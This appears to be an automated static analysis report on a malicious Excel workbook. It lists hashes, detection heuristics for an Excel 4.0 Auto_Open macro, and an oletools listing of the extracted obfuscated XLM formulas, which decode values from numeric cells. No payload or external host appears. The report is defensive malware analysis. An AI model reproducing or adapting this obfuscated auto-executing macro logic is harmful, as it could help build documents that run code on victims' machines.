Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 59856183e2127ff9…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:43:56 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 2f7e450aa1d28458eb82139a48094371 SHA-1: 3bff3112df0004477fe012397093b7eb97021919 SHA-256: 59856183e2127ff90b75b8ae729e6c4a37281a4215e45838d8632ee0309462a3
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6638 bytes
SHA-256: 9dcf1c8dd76d8b17c6907f237d462b0d6e80c0b7539333c2f8b90b0c583b7a1d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  kpK
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A178 
' 0018     26 LABEL : Cell Value, String Constant - bPvFdqHvZVz len=0 
' 0018     24 LABEL : Cell Value, String Constant - cqmRQlbYG len=0 
' 0018     24 LABEL : Cell Value, String Constant - EAifkVLVP len=0 
' 0018     24 LABEL : Cell Value, String Constant - gttOAgotE len=0 
' 0018     22 LABEL : Cell Value, String Constant - hsbTJne len=0 
' 0018     27 LABEL : Cell Value, String Constant - imnZUXUMsHpv len=0 
' 0018     27 LABEL : Cell Value, String Constant - iwXRjxiUOIOB len=0 
' 0018     25 LABEL : Cell Value, String Constant - KqLBWbhQSw len=0 
' 0018     26 LABEL : Cell Value, String Constant - OWNOzfLCPks len=0 
' 0018     20 LABEL : Cell Value, String Constant - qlLzL len=0 
' 0018     24 LABEL : Cell Value, String Constant - QoCFpcVlG len=0 
' 0018     22 LABEL : Cell Value, String Constant - qQkSxsO len=0 
' 0018     22 LABEL : Cell Value, String Constant - SmLxhPp len=0 
' 0018     23 LABEL : Cell Value, String Constant - vDRgDjWC len=0 
' 0018     26 LABEL : Cell Value, String Constant - VqzBsuTDeRp len=0 
' 0018     21 LABEL : Cell Value, String Constant - xdlCwG len=0 
' 0018     21 LABEL : Cell Value, String Constant - xFRBhm len=0 
' 0018     25 LABEL : Cell Value, String Constant - xuSvXapDTB len=0 
' 0018     20 LABEL : Cell Value, String Constant - XwHUX len=0 
' 0018     25 LABEL : Cell Value, String Constant - ySawbFXYOV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  kpK,Q52,"",-767.00000000000000000000
'  kpK,Q53,"",759.00000000000000000000
'  kpK,Q54,"",806.00000000000000000000
'  kpK,Q55,"",128.00000000000000000000
'  kpK,Q56,"",303.00000000000000000000
'  kpK,Q57,"",-845.00000000000000000000
'  kpK,A96,"SET.NAME("iwXRjxiUOIOB",0+VALUE("0"))",""
'  kpK,A98,"SET.NAME("OWNOzfLCPks",iwXRjxiUOIOB)",""
'  kpK,A102,"SET.NAME("XwHUX",iwXRjxiUOIOB)",""
'  kpK,A106,"SET.NAME("vDRgDjWC",COUNTA(qQkSxsO))",""
'  kpK,A109,"SET.NAME("SmLxhPp",COUNTA(imnZUXUMsHpv))",""
'  kpK,A111,[],""
'  kpK,A114,"SET.NAME("ySawbFXYOV","")",""
'  kpK,A119,"OWNOzfLCPks",""
'  kpK,A123,"SET.NAME("bPvFdqHvZVz",HLOOKUP("*",qQkSxsO,OWNOzfLCPks,FALSE))",""
'  kpK,A125,"xuSvXapDTB",""
'  kpK,A128,"SET.NAME("hsbTJne",iwXRjxiUOIOB)",""
'  kpK,A131,[],""
'  kpK,A136,"hsbTJne",""
'  kpK,A140,"cqmRQlbYG",""
'  kpK,A143,"EAifkVLVP",""
'  kpK,A145,"gttOAgotE",""
'  kpK,A149,"SET.NAME("VqzBsuTDeRp",VALUE(HLOOKUP("*",imnZUXUMsHpv,gttOAgotE,FALSE)))",""
'  kpK,A151,"xFRBhm",""
'  kpK,A154,"ySawbFXYOV",""
'  kpK,A158,"XwHUX",""
'  kpK,A160,NEXT(),""
'  kpK,A164,"qlLzL",""
'  kpK,A166,[],""
'  kpK,A169,"xdlCwG",""
'  kpK,A172,NEXT(),""
'  kpK,A176,RETURN(),""
'  kpK,A198,"SET.NAME("KqLBWbhQSw",A96)",""
'  kpK,A200,"qQkSxsO",""
'  kpK,A204,"SET.NAME("imnZUXUMsHpv",R58C12)",""
'  kpK,A206,"SET.NAME("xdlCwG",214)",""
'  kpK,A209,"SET.NAME("QoCFpcVlG",1)",""
'  kpK,A213,KqLBWbhQSw(),""
'  kpK,A214,HALT(),""